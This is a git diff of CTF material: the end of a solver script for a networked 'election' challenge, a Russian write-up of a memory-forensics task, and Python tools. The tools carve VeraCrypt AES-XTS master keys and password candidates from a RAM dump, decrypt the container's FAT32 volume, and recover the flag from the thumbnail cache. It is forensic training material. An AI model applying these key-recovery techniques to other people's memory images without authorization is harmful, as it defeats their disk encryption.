+ if int(m.get("qid", -1)) != int(self._flag_qid): + continue + txt = str(m.get("text", "")) + except Exception: + continue + if txt.startswith("caplag{"): + print(f"[solver] FLAG: {txt}") + return + + def play_showtime(self, epoch: int, mode: str, feed: List[Dict[str, Any]]) -> None: + if not self.play or mode != "ELECTION": + return + if self.vdf_p is None or self.vdf_q is None or self.vdf_T is None: + return + + # Собрать все election questions текущей epoch + qs = [] + for m in feed: + if m.get("kind") == KIND_ELECTION_Q and int(m.get("epoch", -1)) == int(epoch): + qid = int(m.get("qid", -1)) + if qid >= 0: + qs.append((qid, str(m.get("text", "")))) + + for qid, q_text in qs: + if qid in self.answered_election_qids: + continue + ans = expected_answer_fast(q_text, epoch, self.kid, self.book, self.vdf_p, self.vdf_q, self.vdf_T) + self.post(kind=KIND_ELECTION_A, epoch=epoch, qid=qid, text=ans) + self.answered_election_qids.add(qid) + + + def run_forever(self) -> None: + print(f"[solver] kid={self.kid} book.dict_size={self.book.dict_size}") + + while True: + try: + st = self.get_status() + epoch = int(st["epoch"]) + mode = str(st["mode"]) + leader = str(st["leader_kid"]).lower() + + if self._last_epoch_seen is None or epoch != self._last_epoch_seen: + self.answered_election_qids.clear() + self._last_epoch_seen = epoch + + if str(st.get("answer_algo")) != ANSWER_ALGO: + raise RuntimeError(f"unexpected answer_algo: {st.get('answer_algo')}") + if str(st.get("question_algo")) != QUESTION_ALGO: + raise RuntimeError(f"unexpected question_algo: {st.get('question_algo')}") + + self.vdf_N = int(st["vdf_N_hex"], 16) + self.vdf_T = int(st["vdf_T"]) + + # Ensure our local book-derived answer space matches the service + if "ngram_len" in st and int(st["ngram_len"]) != NGRAM_LEN: + raise RuntimeError(f"unexpected ngram_len: {st.get('ngram_len')}") + if "answer_space" in st: + svc_space = int(st["answer_space"]) + if svc_space != self.book.dict_size: + max_space = len(self.book.tokens) - NGRAM_LEN + 1 + if svc_space <= max_space and (svc_space & (svc_space - 1)) == 0: + print(f"[solver] overriding local dict_size {self.book.dict_size} -> {svc_space} from /status") + self.book.dict_size = svc_space + else: + raise RuntimeError("service answer_space is incompatible with local book") + + feed = self.get_feed() + self.maybe_ask_flag_question(epoch, mode, leader, feed) + self.maybe_print_flag_answer(epoch, feed) + + self.try_learn_and_break(epoch, leader, feed) + self.play_showtime(epoch, mode, feed) + + if leader == self.kid: + print("[solver] I am the leader now!") + + except Exception as e: + print("[solver] error:", repr(e)) + + sleep = 0.02 if mode == "ELECTION" else 0.25 # (не обязательно, но так чуть быстрее) + time.sleep(sleep) + + + +def main() -> None: + ap = argparse.ArgumentParser() + ap.add_argument("--feed", required=True, help="Feed URL, e.g. http://127.0.0.1:9000") + ap.add_argument("--book", required=True, help="Path to KOI8-R book file") + ap.add_argument("--book-encoding", default="koi8_r") + ap.add_argument("--play", action="store_true", help="Actively answer election questions") + args = ap.parse_args() + + book = BookNGram.load(args.book, encoding=args.book_encoding) + Player(args.feed, book, play=bool(args.play)).run_forever() + + +if __name__ == "__main__": + main() diff --git a/HumanAI-Forensic-Hard/README.md b/HumanAI-Forensic-Hard/README.md new file mode 100644 index 0000000..cc76772 --- /dev/null +++ b/HumanAI-Forensic-Hard/README.md @@ -0,0 +1,90 @@ +# HumanAI + +Мир захлестнул ИИ‑контент: генерации, копии, шум. Но где‑то в памяти системы есть то, что создано человеком. Найди это https://git.caplag.ru/kernel/HumanAI + +## Решение + +Всего есть два варианта решения: +1. Плановое решение: восстановление контейнера VeraCrypt + извлечение криптоключей из RAM. +2. Незапланированное решение: извлечение флага через кэш миниатюр Windows. + +Сразу же загружаем дамп памяти в **Volatility**, выполняем базовые команды (`pslist`, `filescan` и т. д.). +Что интересного узнаём: +- VeraCrypt был запущен; +- контейнер `human.vc` был смонтирован. + +### Потихоньку-помаленьку + +Проверяем следы присутствия **VeraCrypt**: +```powershell +vol -q -f .\memdump.mem windows.modules | Select-String -Pattern "veracrypt|truecrypt" -CaseSensitive:$false +vol -q -f .\memdump.mem windows.pslist | Select-String -Pattern "veracrypt" -CaseSensitive:$false +vol -q -f .\memdump.mem windows.symlinkscan | Select-String -Pattern "VeraCrypt|Volume" -CaseSensitive:$false +``` + +Из этого мы сможем вытянуть достаточно важную информацию. Как минимум мы получим *модуль драйвера* VeraCrypt, его *процесс* и *букву смонтированного тома* вида `K:` -> `\Device\VeraCryptVolume...`. + +### Плановый вариант решения + +Начнем с того, что восстановим `human.vc` из памяти. Ищем файловый объект: +```powershell +vol -q -f .\memdump.mem -r csv windows.filescan | Select-String -Pattern "human\\.vc|\\.vc$" -CaseSensitive:$false +``` + +Дальше выгружаем файл через `dumpfiles`: +```powershell +mkdir out\dumpfiles -Force | Out-Null +vol -q -f .\memdump.mem -o out\dumpfiles windows.dumpfiles --filter "human\\.vc$|human\\.vc" --ignore-case +``` + +Обычно нужный файл находится среди объектов `SharedCacheMap` (часто с расширением `.vacb`). П +Пароль может не сохраниться в памяти, поэтому надёжнее идти через мастер-ключи. Одна из рабочих точек входа - *Big Pool*: +```powershell +vol -q -f .\memdump.mem -r csv windows.bigpools | Select-String -Pattern "VCMM|TC|VC" -CaseSensitive:$false +``` + +Дальше нужно производим выгрузку памяти по подходящим `pool tag` и осуществляема поиск пар ключей AES-256 для XTS (`key_a`, `key_b`). Основными признаками, что мы вышли на верные ключи: +- находятся две разные 32-байтовые последовательности; +- они стабильно повторяются в связанных дампах. + +Проверяем, что ключи действительно дешифруют начало файловой системы. Для VeraCrypt данные начнутся после оффсета на `0x20000`. После AES-XTS-дешифровки сектора структура должна быть похожа на boot sector файловой системы и сигнатуры и поля должны выглядеть осмысленно, а не как случайный шум. + +После подтверждения ключей и оффсета: +- расшифровываем контейнер; +- парсим файловую систему (в этом таске была FAT32); +- извлекаем файлы и находим флаг. + +### Неожиданный вариант решения + +Эта ветка сработала без полного дешифрования контейнера. В дампе можно искать строки, связанные с путём к файлу флага: + +```powershell +strings -n 6 .\memdump.mem | Select-String -Pattern "flag|thumbcache|\\\.png|\\\.jpg|K:\\" -CaseSensitive:$false +``` + +Таким образом в памяти встретится путь к `flag.png` на смонтированном томе VeraCrypt. Теперь проверим, есть ли исходный файл в файловых объектах: + +```powershell +vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "flag\\.png|flag" -CaseSensitive:$false +``` + +Напрямую файл `flag.png` найти не получится, но это не тупик. Приступаем к изучению следующего потенциального кандидата - кэш миниатюр Windows: + +```powershell +vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "thumbcache_.*\\.db|thumbcache" -CaseSensitive:$false +``` + +Выгрузим найденные объекты: +```powershell +mkdir out\thumbs -Force | Out-Null +vol -q -f .\memdump.mem -o out\thumbs windows.dumpfiles --filter "thumbcache_.*\\.db|thumbcache" --ignore-case +``` + +И теперь, наконец, извлечем изображения из дампа кэша. Как вариант, можно воспользоваться `carving`: + +```powershell +cd .\out\thumbs +Get-ChildItem -File | ForEach-Object { binwalk -e -M $_.FullName } +``` + +После этого просматриваем извлечённые изображения. Флаг окажется в одной из миниатюр. \ No newline at end of file diff --git a/HumanAI-Forensic-Hard/scripts/bigpooldump.py b/HumanAI-Forensic-Hard/scripts/bigpooldump.py new file mode 100644 index 0000000..00728d0 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/bigpooldump.py @@ -0,0 +1,108 @@ +import logging +from typing import Iterator, List, Optional, Tuple + +from volatility3.framework import exceptions, interfaces, renderers +from volatility3.framework.configuration import requirements +from volatility3.framework.renderers import format_hints +from volatility3.plugins.windows import bigpools + +vollog = logging.getLogger(__name__) + + +class BigPoolDump(interfaces.plugins.PluginInterface): + + + _version = (0, 1, 0) + _required_framework_version = (2, 0, 0) + + @classmethod + def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]: + return [ + requirements.ModuleRequirement( + name="kernel", + description="Windows kernel", + architectures=["Intel32", "Intel64"], + ), + requirements.VersionRequirement( + name="bigpools", component=bigpools.BigPools, version=(2, 0, 0) + ), + requirements.StringRequirement( + name="tags", + description="Comma-separated list of pool tags to dump (e.g. TcDN,Tcpt)", + optional=False, + ), + requirements.BooleanRequirement( + name="include-free", + description="Include freed allocations", + default=False, + optional=True, + ), + ] + + def _dump_one(self, addr: int, size: int, tag: str) -> Optional[str]: + kernel = self.context.modules[self.config["kernel"]] + layer = self.context.layers[kernel.layer_name] + + filename = f"bigpool.{tag}.0x{addr:016x}.0x{size:x}.dmp" + try: + data = layer.read(addr, size, pad=True) + except exceptions.InvalidAddressException: + return None + + try: + with self.open(filename) as fp: + fp.write(data) + return filename + except OSError: + return None + + def _generator(self) -> Iterator[Tuple[int, Tuple[object, ...]]]: + tags = [t.strip() for t in (self.config.get("tags") or "").split(",") if t.strip()] + if not tags: + vollog.warning("No tags specified") + return + + show_free = bool(self.config.get("include-free")) + + for big_pool in bigpools.BigPools.list_big_pools( + context=self.context, + kernel_module_name=self.config["kernel"], + tags=tags, + show_free=show_free, + ): + tag = big_pool.get_key() + size = big_pool.get_number_of_bytes() + if isinstance(size, interfaces.renderers.BaseAbsentValue): + continue + addr = int(big_pool.Va) & ~1 + + dumped_as = self._dump_one(addr, int(size), tag) + if dumped_as is None: + dumped_as = renderers.UnreadableValue() + + status = "Free" if big_pool.is_free() else "Allocated" + + yield ( + 0, + ( + format_hints.Hex(addr), + tag, + format_hints.Hex(int(size)), + big_pool.get_pool_type(), + status, + dumped_as, + ), + ) + + def run(self) -> renderers.TreeGrid: + return renderers.TreeGrid( + [ + ("Allocation", format_hints.Hex), + ("Tag", str), + ("NumberOfBytes", format_hints.Hex), + ("PoolType", str), + ("Status", str), + ("File output", str), + ], + self._generator(), + ) diff --git a/HumanAI-Forensic-Hard/scripts/extract_password_candidates.py b/HumanAI-Forensic-Hard/scripts/extract_password_candidates.py new file mode 100644 index 0000000..d11e064 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/extract_password_candidates.py @@ -0,0 +1,188 @@ +import argparse +import math +import re +from dataclasses import dataclass +from pathlib import Path +from typing import Dict, Iterable, Iterator, List, Tuple + + +ASCII_RE_TEMPLATE = rb"[ -~]{%d,%d}" +UTF16LE_ASCII_RE_TEMPLATE = rb"(?:[ -~]\x00){%d,%d}" + + +@dataclass +class Hit: + s: str + score: float + file: Path + offset: int + kind: str + count: int = 1 + + +def iter_files(paths: Iterable[str]) -> Iterator[Path]: + for p in paths: + path = Path(p) + if path.is_dir(): + for child in sorted(path.rglob("*")): + if child.is_file(): + yield child + elif path.is_file(): + yield path + + +def shannon_entropy(s: str) -> float: + if not s: + return 0.0 + freq: Dict[str, int] = {} + for ch in s: + freq[ch] = freq.get(ch, 0) + 1 + n = len(s) + ent = 0.0 + for c in freq.values(): + p = c / n + ent -= p * math.log2(p) + return ent + + +BAD_SUBSTRINGS = ( + "\\\\", + "\\Registry\\", + "\\Registry", + "\\BaseNamedObjects\\", + "\\BaseNamedObjects", + ":\\", + "/", + "System32", + "Windows", + "Microsoft", + "CLSID", + "AppX", + "shell:::", + "atom(", + ".dll", + ".exe", + ".sys", + ".ini", + ".mui", + ".nls", + ".png", + ".jpg", + ".jpeg", + ".gif", + ".ttf", + ".otf", + ".wav", + ".mp3", + ".mp4", + ".sqlite", +) + + +def looks_passwordish(s: str) -> bool: + + if any(ch in s for ch in ('\\', '/', ':', '<', '>', '"', "'", '=', '\t', '\r', '\n')): + return False + if any(bad in s for bad in BAD_SUBSTRINGS): + return False + if s.startswith("http://") or s.startswith("https://"): + return False + + if s.count(" ") >= 4: + return False + + if len(set(s)) <= 3: + return False + + if re.fullmatch(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", s): + return False + return True + + +def score_string(s: str) -> float: + has_lower = any("a" <= c <= "z" for c in s) + has_upper = any("A" <= c <= "Z" for c in s) + has_digit = any("0" <= c <= "9" for c in s) + has_special = any(not c.isalnum() for c in s) + + ent = shannon_entropy(s) + score = ent * len(s) + score += 5.0 * has_lower + score += 5.0 * has_upper + score += 5.0 * has_digit + score += 5.0 * has_special + if " " in s: + score -= 2.0 + if s.islower() or s.isupper(): + score -= 1.0 + if all(c in "0123456789abcdefABCDEF" for c in s): + score -= 3.0 + return score + + +def extract_hits(data: bytes, *, min_len: int, max_len: int) -> Iterator[Tuple[str, int, str]]: + ascii_re = re.compile(ASCII_RE_TEMPLATE % (min_len, max_len)) + utf16_re = re.compile(UTF16LE_ASCII_RE_TEMPLATE % (min_len, max_len)) + + for m in ascii_re.finditer(data): + s = m.group(0).decode("ascii", errors="ignore") + yield s, m.start(), "ascii" + + for m in utf16_re.finditer(data): + raw = m.group(0) + s = raw[::2].decode("ascii", errors="ignore") + yield s, m.start(), "utf16le" + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("paths", nargs="+", help="Files/dirs to scan") + ap.add_argument("--min-len", type=int, default=8) + ap.add_argument("--max-len", type=int, default=64) + ap.add_argument("--top", type=int, default=80) + ap.add_argument("--grep", type=str, default="", help="Only show hits containing this substring") + args = ap.parse_args() + + best: Dict[str, Hit] = {} + grep = args.grep + + for fp in iter_files(args.paths): + + if fp.suffix.lower() not in (".dmp", ".mem", ".raw", ".bin", ""): + continue + + try: + data = fp.read_bytes() + except Exception: + continue + + for s, off, kind in extract_hits(data, min_len=args.min_len, max_len=args.max_len): + if grep and grep not in s: + continue + if not looks_passwordish(s): + continue + sc = score_string(s) + existing = best.get(s) + if existing is None: + best[s] = Hit(s=s, score=sc, file=fp, offset=off, kind=kind) + else: + existing.count += 1 + if sc > existing.score: + existing.score = sc + existing.file = fp + existing.offset = off + existing.kind = kind + + hits: List[Hit] = sorted(best.values(), key=lambda h: h.score, reverse=True) + if not hits: + print("[!] No candidates found") + return 2 + + for h in hits[: args.top]: + print(f"{h.score:8.2f}\t{h.count:4d}\t{h.kind}\t{h.file}\t0x{h.offset:X}\t{h.s}") + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py b/HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py new file mode 100644 index 0000000..a27f8f3 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/extract_vc_fat32.py @@ -0,0 +1,346 @@ +import argparse +import os +import struct +from dataclasses import dataclass +from pathlib import Path +from typing import Dict, Iterable, Iterator, List, Optional, Tuple + +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + + +SECTOR_SIZE = 512 + + +@dataclass +class Fat32BPB: + bytes_per_sector: int + sectors_per_cluster: int + reserved_sectors: int + num_fats: int + total_sectors: int + fat_size_sectors: int + root_cluster: int + + @property + def first_fat_sector(self) -> int: + return self.reserved_sectors + + @property + def first_data_sector(self) -> int: + return self.reserved_sectors + self.num_fats * self.fat_size_sectors + + +class VeraCryptFileVolume: + """Reads plaintext sectors from a VeraCrypt file container that is already decrypted in RAM (keys known).""" + + def __init__(self, container: Path, xts_key: bytes, data_offset: int, data_length: Optional[int] = None): + self.container = container + self.xts_key = xts_key + self.base_file_sector = data_offset // SECTOR_SIZE + if data_offset % SECTOR_SIZE != 0: + raise ValueError("data_offset must be sector-aligned") + + st = container.stat() + if data_length is None: + # Assume standard file container layout: header area at start AND backup header at end. + data_length = st.st_size - 2 * data_offset + self.data_length = data_length + if self.data_length < SECTOR_SIZE or self.data_length % SECTOR_SIZE != 0: + raise ValueError("data_length must be a positive multiple of sector size") + self.total_sectors = self.data_length // SECTOR_SIZE + + self._fh = open(container, "rb") + + def close(self) -> None: + try: + self._fh.close() + except Exception: + pass + + def _decrypt_sector(self, file_sector: int, ct: bytes) -> bytes: + tweak = int(file_sector).to_bytes(16, "little", signed=False) + dec = Cipher(algorithms.AES(self.xts_key), modes.XTS(tweak)).decryptor() + return dec.update(ct) + dec.finalize() + + def read_sector(self, vol_sector: int) -> bytes: + if not (0 <= vol_sector < self.total_sectors): + raise ValueError("volume sector out of range") + file_sector = self.base_file_sector + vol_sector + self._fh.seek(file_sector * SECTOR_SIZE) + ct = self._fh.read(SECTOR_SIZE) + if len(ct) != SECTOR_SIZE: + raise IOError("short read") + return self._decrypt_sector(file_sector, ct) + + +def parse_fat32_bpb(boot_sector: bytes) -> Fat32BPB: + oem = boot_sector[3:11] + if oem != b"MSDOS5.0": + raise ValueError(f"Unexpected OEM {oem!r} (expected MSDOS5.0)") + + bps = struct.unpack_from(" str: + # Minimal cross-platform path sanitization. + s = s.replace("\\", "_").replace("/", "_").replace(":", "_") + s = s.strip().strip(".") + return s or "_" + + +def parse_short_name(ent: bytes) -> str: + name = ent[0:8].decode("ascii", errors="ignore").rstrip(" ") + ext = ent[8:11].decode("ascii", errors="ignore").rstrip(" ") + if not ext: + return name + return f"{name}.{ext}" + + +def parse_lfn_part(ent: bytes) -> str: + # LFN is UTF-16LE in three chunks + raw = ent[1:11] + ent[14:26] + ent[28:32] + out_chars: List[str] = [] + for i in range(0, len(raw), 2): + (ch,) = struct.unpack_from(" int: + return self.bpb.first_data_sector + (cluster - 2) * self.bpb.sectors_per_cluster + + def read_fat_sector(self, fat_sector_index: int) -> bytes: + if fat_sector_index not in self._fat_sector_cache: + self._fat_sector_cache[fat_sector_index] = self.vol.read_sector( + self.bpb.first_fat_sector + fat_sector_index + ) + return self._fat_sector_cache[fat_sector_index] + + def fat_entry(self, cluster: int) -> int: + # FAT32 entry is 4 bytes, lower 28 bits used + off = cluster * 4 + sector_index = off // SECTOR_SIZE + sector_off = off % SECTOR_SIZE + sec = self.read_fat_sector(sector_index) + (val,) = struct.unpack_from(" Iterator[int]: + cl = start_cluster + steps = 0 + while 2 <= cl < 0x0FFFFFF8: + yield cl + nxt = self.fat_entry(cl) + if nxt == cl: + break + cl = nxt + steps += 1 + if steps > max_steps: + raise RuntimeError("cluster chain too long (loop?)") + + def read_cluster(self, cluster: int) -> bytes: + vsec0 = self.vol_sector_for_cluster(cluster) + buf = bytearray() + for i in range(self.bpb.sectors_per_cluster): + buf += self.vol.read_sector(vsec0 + i) + return bytes(buf) + + def read_chain_data(self, start_cluster: int, size: int) -> bytes: + buf = bytearray() + for cl in self.iter_cluster_chain(start_cluster): + buf += self.read_cluster(cl) + if len(buf) >= size: + break + return bytes(buf[:size]) + + def read_directory(self, start_cluster: int) -> List[DirEntry]: + entries: List[DirEntry] = [] + lfn_parts: List[str] = [] + + for cl in self.iter_cluster_chain(start_cluster): + data = self.read_cluster(cl) + for off in range(0, len(data), 32): + ent = data[off : off + 32] + first = ent[0] + if first == 0x00: + return entries + if first == 0xE5: + lfn_parts.clear() + continue + + attr = ent[11] + if attr == 0x0F: + lfn_parts.append(parse_lfn_part(ent)) + continue + + name = "" + if lfn_parts: + name = "".join(reversed(lfn_parts)) + lfn_parts.clear() + else: + name = parse_short_name(ent) + + # Skip volume labels + if attr & 0x08: + continue + # Skip "." and ".." + if name in (".", ".."): + continue + + is_dir = bool(attr & 0x10) + hi = struct.unpack_from(" List[Path]: + extracted: List[Path] = [] + stack: List[Tuple[int, str]] = [(start_cluster, rel_path)] + seen_dirs: set[Tuple[int, str]] = set() + + while stack: + cl, rpath = stack.pop() + key = (cl, rpath) + if key in seen_dirs: + continue + seen_dirs.add(key) + + for ent in fs.read_directory(cl): + name = sanitize_name(ent.name) + child_rel = os.path.join(rpath, name) if rpath else name + out_path = out_dir / child_rel + + if ent.is_dir: + if ent.cluster >= 2: + stack.append((ent.cluster, child_rel)) + continue + + if ent.cluster < 2: + continue + out_path.parent.mkdir(parents=True, exist_ok=True) + data = fs.read_chain_data(ent.cluster, ent.size) + out_path.write_bytes(data) + extracted.append(out_path) + if len(extracted) >= max_files: + return extracted + + return extracted + + +def main() -> int: + ap = argparse.ArgumentParser(description="Extract FAT32 files from a VeraCrypt container using recovered XTS keys") + ap.add_argument("container", type=Path) + ap.add_argument("--key-a", required=True, help="32-byte hex key A (data key)") + ap.add_argument("--key-b", required=True, help="32-byte hex key B (tweak key)") + ap.add_argument("--data-offset", default="0x20000", help="Start of encrypted volume area (default: 0x20000)") + ap.add_argument( + "--out-dir", + type=Path, + default=Path("out") / "vc_extracted", + help="Output directory (default: out/vc_extracted)", + ) + args = ap.parse_args() + + key_a = bytes.fromhex(args.key_a) + key_b = bytes.fromhex(args.key_b) + if len(key_a) != 32 or len(key_b) != 32: + raise SystemExit("Keys must be 32 bytes each") + + data_offset = int(str(args.data_offset), 0) + xts_key = key_a + key_b + + args.out_dir.mkdir(parents=True, exist_ok=True) + + vol = VeraCryptFileVolume(args.container, xts_key, data_offset) + try: + boot = vol.read_sector(0) # volume sector 0 maps to file sector base_file_sector + bpb = parse_fat32_bpb(boot) + print( + f"[i] FAT32: total_sectors={bpb.total_sectors} spc={bpb.sectors_per_cluster} " + f"reserved={bpb.reserved_sectors} fats={bpb.num_fats} fatsz={bpb.fat_size_sectors} root={bpb.root_cluster}" + ) + + fs = Fat32(vol, bpb) + extracted = walk_and_extract(fs, bpb.root_cluster, args.out_dir) + print(f"[i] Extracted {len(extracted)} files into {args.out_dir}") + return 0 + finally: + vol.close() + + +if __name__ == "__main__": + raise SystemExit(main()) + diff --git a/HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py b/HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py new file mode 100644 index 0000000..cb9316b --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py @@ -0,0 +1,459 @@ +import argparse +from dataclasses import dataclass +from pathlib import Path +from typing import Iterable, Iterator, List, Optional, Sequence, Set, Tuple + + +SBOX = [ + 0x63, + 0x7C, + 0x77, + 0x7B, + 0xF2, + 0x6B, + 0x6F, + 0xC5, + 0x30, + 0x01, + 0x67, + 0x2B, + 0xFE, + 0xD7, + 0xAB, + 0x76, + 0xCA, + 0x82, + 0xC9, + 0x7D, + 0xFA, + 0x59, + 0x47, + 0xF0, + 0xAD, + 0xD4, + 0xA2, + 0xAF, + 0x9C, + 0xA4, + 0x72, + 0xC0, + 0xB7, + 0xFD, + 0x93, + 0x26, + 0x36, + 0x3F, + 0xF7, + 0xCC, + 0x34, + 0xA5, + 0xE5, + 0xF1, + 0x71, + 0xD8, + 0x31, + 0x15, + 0x04, + 0xC7, + 0x23, + 0xC3, + 0x18, + 0x96, + 0x05, + 0x9A, + 0x07, + 0x12, + 0x80, + 0xE2, + 0xEB, + 0x27, + 0xB2, + 0x75, + 0x09, + 0x83, + 0x2C, + 0x1A, + 0x1B, + 0x6E, + 0x5A, + 0xA0, + 0x52, + 0x3B, + 0xD6, + 0xB3, + 0x29, + 0xE3, + 0x2F, + 0x84, + 0x53, + 0xD1, + 0x00, + 0xED, + 0x20, + 0xFC, + 0xB1, + 0x5B, + 0x6A, + 0xCB, + 0xBE, + 0x39, + 0x4A, + 0x4C, + 0x58, + 0xCF, + 0xD0, + 0xEF, + 0xAA, + 0xFB, + 0x43, + 0x4D, + 0x33, + 0x85, + 0x45, + 0xF9, + 0x02, + 0x7F, + 0x50, + 0x3C, + 0x9F, + 0xA8, + 0x51, + 0xA3, + 0x40, + 0x8F, + 0x92, + 0x9D, + 0x38, + 0xF5, + 0xBC, + 0xB6, + 0xDA, + 0x21, + 0x10, + 0xFF, + 0xF3, + 0xD2, + 0xCD, + 0x0C, + 0x13, + 0xEC, + 0x5F, + 0x97, + 0x44, + 0x17, + 0xC4, + 0xA7, + 0x7E, + 0x3D, + 0x64, + 0x5D, + 0x19, + 0x73, + 0x60, + 0x81, + 0x4F, + 0xDC, + 0x22, + 0x2A, + 0x90, + 0x88, + 0x46, + 0xEE, + 0xB8, + 0x14, + 0xDE, + 0x5E, + 0x0B, + 0xDB, + 0xE0, + 0x32, + 0x3A, + 0x0A, + 0x49, + 0x06, + 0x24, + 0x5C, + 0xC2, + 0xD3, + 0xAC, + 0x62, + 0x91, + 0x95, + 0xE4, + 0x79, + 0xE7, + 0xC8, + 0x37, + 0x6D, + 0x8D, + 0xD5, + 0x4E, + 0xA9, + 0x6C, + 0x56, + 0xF4, + 0xEA, + 0x65, + 0x7A, + 0xAE, + 0x08, + 0xBA, + 0x78, + 0x25, + 0x2E, + 0x1C, + 0xA6, + 0xB4, + 0xC6, + 0xE8, + 0xDD, + 0x74, + 0x1F, + 0x4B, + 0xBD, + 0x8B, + 0x8A, + 0x70, + 0x3E, + 0xB5, + 0x66, + 0x48, + 0x03, + 0xF6, + 0x0E, + 0x61, + 0x35, + 0x57, + 0xB9, + 0x86, + 0xC1, + 0x1D, + 0x9E, + 0xE1, + 0xF8, + 0x98, + 0x11, + 0x69, + 0xD9, + 0x8E, + 0x94, + 0x9B, + 0x1E, + 0x87, + 0xE9, + 0xCE, + 0x55, + 0x28, + 0xDF, + 0x8C, + 0xA1, + 0x89, + 0x0D, + 0xBF, + 0xE6, + 0x42, + 0x68, + 0x41, + 0x99, + 0x2D, + 0x0F, + 0xB0, + 0x54, + 0xBB, + 0x16, +] + + +def rot_word_be(w: int) -> int: + return ((w << 8) & 0xFFFFFFFF) | ((w >> 24) & 0xFF) + + +def sub_word_be(w: int) -> int: + return ( + (SBOX[(w >> 24) & 0xFF] << 24) + | (SBOX[(w >> 16) & 0xFF] << 16) + | (SBOX[(w >> 8) & 0xFF] << 8) + | (SBOX[w & 0xFF]) + ) + + +def rot_word_le(w: int) -> int: + b = w.to_bytes(4, "little") + b = b[1:] + b[:1] + return int.from_bytes(b, "little") + + +def sub_word_le(w: int) -> int: + b = w.to_bytes(4, "little") + sb = bytes([SBOX[x] for x in b]) + return int.from_bytes(sb, "little") + + +def xtime(x: int) -> int: + x <<= 1 + if x & 0x100: + x ^= 0x11B + return x & 0xFF + + +def rcon_word(i: int, *, endian: str) -> int: + rc = 1 + for _ in range(1, i): + rc = xtime(rc) + if endian == "be": + return rc << 24 + return rc + + +def total_words_for_nk(nk: int) -> int: + if nk == 4: + nr = 10 + elif nk == 6: + nr = 12 + elif nk == 8: + nr = 14 + else: + raise ValueError(f"Unsupported Nk={nk}") + return 4 * (nr + 1) + + +def expand_key(words0: Sequence[int], *, nk: int, endian: str) -> List[int]: + tw = total_words_for_nk(nk) + w = list(words0[:nk]) + [0] * (tw - nk) + + if endian == "be": + rot = rot_word_be + sub = sub_word_be + elif endian == "le": + rot = rot_word_le + sub = sub_word_le + else: + raise ValueError("endian must be 'be' or 'le'") + + for i in range(nk, tw): + temp = w[i - 1] + if i % nk == 0: + temp = sub(rot(temp)) ^ rcon_word(i // nk, endian=endian) + elif nk > 6 and i % nk == 4: + temp = sub(temp) + w[i] = w[i - nk] ^ temp + return w + + +def schedule_matches(words: Sequence[int], *, nk: int, endian: str) -> bool: + tw = total_words_for_nk(nk) + if len(words) < tw: + return False + exp = expand_key(words, nk=nk, endian=endian) + return all((words[i] & 0xFFFFFFFF) == exp[i] for i in range(tw)) + + +def iter_files(paths: Iterable[str]) -> Iterator[Path]: + for p in paths: + path = Path(p) + if path.is_dir(): + for child in sorted(path.rglob("*")): + if child.is_file(): + yield child + elif path.is_file(): + yield path + + +@dataclass(frozen=True) +class Hit: + file: Path + offset: int + nk: int + word_endian: str + byte_endian: str + key_bytes: bytes + + +def scan_file(fp: Path, *, nk_list: Sequence[int]) -> List[Hit]: + data = fp.read_bytes() + hits: List[Hit] = [] + + for nk in nk_list: + tw = total_words_for_nk(nk) + nbytes = tw * 4 + if len(data) < nbytes: + continue + + for off in range(0, len(data) - nbytes + 1, 4): + for word_endian in ("little", "big"): + words = [ + int.from_bytes( + data[off + 4 * i : off + 4 * i + 4], byteorder=word_endian + ) + for i in range(tw) + ] + + for byte_endian in ("be", "le"): + if schedule_matches(words, nk=nk, endian=byte_endian): + if byte_endian == "be": + key = b"".join(w.to_bytes(4, "big") for w in words[:nk]) + else: + key = b"".join(w.to_bytes(4, "little") for w in words[:nk]) + hits.append( + Hit( + file=fp, + offset=off, + nk=nk, + word_endian=word_endian, + byte_endian=byte_endian, + key_bytes=key, + ) + ) + + return hits + + +def main() -> int: + ap = argparse.ArgumentParser(description="Find AES key schedules in raw dumps") + ap.add_argument("paths", nargs="+", help="Files and/or directories to scan") + ap.add_argument("--nk", type=int, default=8, help="AES Nk words: 4=128-bit, 6=192-bit, 8=256-bit (default: 8)") + ap.add_argument( + "--also", + type=str, + default="", + help="Comma-separated extra Nk values to scan (e.g. 4,6)", + ) + args = ap.parse_args() + + nk_list = [args.nk] + if args.also: + for part in args.also.split(","): + part = part.strip() + if not part: + continue + nk_list.append(int(part)) + nk_list = sorted(set(nk_list)) + + seen: Set[Tuple[int, str, bytes]] = set() + total = 0 + + for fp in iter_files(args.paths): + if fp.suffix.lower() not in (".dmp", ".bin", ".raw", ".mem", ""): + continue + try: + hits = scan_file(fp, nk_list=nk_list) + except Exception: + continue + for h in hits: + k = (h.nk, h.word_endian, h.byte_endian, h.key_bytes) + if k in seen: + continue + seen.add(k) + total += 1 + print( + f"{h.file}\t0x{h.offset:X}\tNk={h.nk}\tword={h.word_endian}\tbytes={h.byte_endian}\tkey={h.key_bytes.hex()}" + ) + + if total == 0: + print("[!] No AES key schedules found") + return 2 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/HumanAI-Forensic-Hard/scripts/probe_vc_xts.py b/HumanAI-Forensic-Hard/scripts/probe_vc_xts.py new file mode 100644 index 0000000..b97e570 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/probe_vc_xts.py @@ -0,0 +1,99 @@ +import argparse +from pathlib import Path +from typing import Iterable, List, Tuple + +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + + +def decrypt_xts_sector(ct: bytes, xts_key: bytes, sector_no: int) -> bytes: + tweak = int(sector_no).to_bytes(16, "little", signed=False) + cipher = Cipher(algorithms.AES(xts_key), modes.XTS(tweak)) 